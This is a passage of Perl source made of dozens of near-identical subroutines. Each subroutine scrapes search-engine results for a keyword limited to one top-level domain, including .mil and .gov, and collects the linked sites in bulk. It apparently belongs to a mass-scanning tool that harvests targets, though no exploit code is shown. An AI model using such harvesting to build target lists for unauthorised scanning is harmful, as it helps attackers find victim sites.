$i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Aua%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Auk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub us() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aus%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub si() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Asi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub be() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Abe%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Abiz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub xxx() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Axxx%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tel() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Atel%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub tv() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Atv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cc() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Acc%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mil() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Amil%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub asia() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Aasia%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub name() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aname%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pro() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Apro%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub travel() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Atravel%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jobs() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Ajobs%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mobi() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Amobi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aero() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Aaero%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cat() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Acat%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub coop() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Acoop%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub edu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Aedu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gov() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Agov%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub as() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aas%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ai() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Aai%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ag() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Aag%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub az() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aaz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bh() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Abh%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bd() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Abd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Abz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bo() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Abo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ba() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Aba%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Avg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Abg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bi() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Abi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub co() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aco%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cd() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Acd%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Acg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ck() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Ack%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Acr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Acu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ci() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aci%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dj() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Adj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Adm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub do() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Ado%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ec() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Aec%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub eg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Aeg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sv() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Asv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ee() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aee%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub et() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Aet%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fj() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Afj%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub fi() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Afi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gm() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Agm%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gi() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Agi%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gr() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Agr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gl() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Agl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gt() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Agt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Agg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ht() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aht%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Ahn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hk() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Ahk%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub is() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Ais%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ie() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Aie%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub im() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Aim%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub je() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Aje%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub jo() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Ajo%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kz() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Akz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ke() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Ake%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ir() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Air%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub vn() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Avn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kg() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Akg%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lv() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Alv%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ls() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Als%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ly() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Aly%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub li() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Ali%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lt() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Alt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Alu%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mw() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Amw%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mt() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack12.uri_escape($key)."%2Bsite%3Amt%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mu() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack13.uri_escape($key)."%2Bsite%3Amu%26num%3D100%26start%3D".$i); my $res = 